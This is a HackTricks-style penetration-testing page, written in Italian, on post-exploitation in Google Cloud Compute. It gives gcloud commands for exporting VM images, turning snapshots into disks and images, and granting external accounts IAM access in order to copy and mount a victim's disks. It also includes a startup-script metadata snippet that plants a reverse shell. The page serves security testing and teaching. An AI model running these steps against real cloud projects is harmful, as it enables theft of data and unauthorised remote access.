# GCP - Compute Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Compute

Per maggiori informazioni su Compute e VPC (Networking) consulta:

{{#ref}}
../gcp-services/gcp-compute-instances-enum/
{{#endref}}

### Export & Inspect Images locally

Questo permetterebbe a un attaccante di **accedere ai dati contenuti all'interno di immagini già esistenti** o di **creare nuove immagini di VM in esecuzione** e accedere ai loro dati senza avere accesso alla VM in esecuzione.

È possibile esportare un'immagine VM in un bucket e poi scaricarla e montarla localmente con il comando:

<details>

<summary>Esporta e scarica immagine VM</summary>
```bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
</details>

Per eseguire questa azione l'attaccante potrebbe aver bisogno di privilegi sullo storage bucket e sicuramente di **privilegi su cloudbuild** in quanto è il **servizio** che verrà incaricato di eseguire l'export\
Inoltre, perché ciò funzioni, il codebuild SA e il compute SA necessitano di permessi privilegiati.\
Il cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` necessita di:

- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser

E il SA `<project-id>-compute@developer.gserviceaccount.com` necessita di:

- oles/compute.storageAdmin
- roles/storage.objectAdmin

### Esportare e ispezionare snapshot e dischi localmente

Non è possibile esportare direttamente snapshot e dischi, ma è possibile **trasformare uno snapshot in un disco, un disco in un'immagine** e, seguendo la **sezione precedente**, esportare quell'immagine per ispezionarla localmente

<details>

<summary>Creare un disco da uno snapshot e un'immagine da un disco</summary>
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
</details>

### Ispezionare un'immagine creando una VM

Con l'obiettivo di accedere ai **dati memorizzati in un'immagine** o all'interno di una **VM in esecuzione** da cui un attaccante **ha creato un'immagine,** è possibile concedere a un account esterno l'accesso all'immagine:

<details>

<summary>Concedere accesso all'immagine e creare una VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
</details>

e poi creare una nuova VM da essa:

<details>

<summary>Crea un'istanza VM dall'immagine</summary>
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
</details>

Se non riuscissi a dare al tuo account esterno accesso all'image, potresti avviare una VM usando quell'image nel progetto della vittima e **far sì che i metadata eseguano una reverse shell** per accedere all'image aggiungendo il parametro:

<details>

<summary>Crea VM con reverse shell nei metadata</summary>
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
```
</details>

### Ispezionare uno Snapshot/Disco collegandolo a una VM

Con l'obiettivo di accedere ai **dati memorizzati in un disco o in uno snapshot, puoi trasformare lo snapshot in un disco, un disco in un'immagine e seguire i passaggi precedenti.**

Oppure puoi **concedere l'accesso a un account esterno** sul disco (se il punto di partenza è uno snapshot, concedi l'accesso allo snapshot o crea un disco da esso):

<details>

<summary>Concedere accesso al disco</summary>
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
</details>

**Allega il disco** a un'istanza:

<details>

<summary>Allega il disco all'istanza</summary>
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
```
</details>

Montare il disco nella VM:

1.  **Connettiti via SSH alla VM**:

<details>

<summary>SSH nella VM e montare il disco</summary>

```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```

</details>

2.  **Identificare il disco**: Una volta nella VM, identifica il nuovo disco elencando i dispositivi disco. Tipicamente lo troverai come `/dev/sdb`, `/dev/sdc`, ecc.
3.  **Formattare e montare il disco** (se è un disco nuovo o raw):

- Creare un punto di mount:

<details>

<summary>Creare il punto di mount</summary>

```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```

</details>

- Montare il disco:

<details>

<summary>Montare il dispositivo del disco</summary>

```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```

</details>

Se **non puoi dare accesso a un progetto esterno** allo snapshot o al disco, potrebbe essere necessario **eseguire queste azioni all'interno di un'istanza nello stesso progetto dello snapshot/disk**.

{{#include ../../../banners/hacktricks-training.md}}
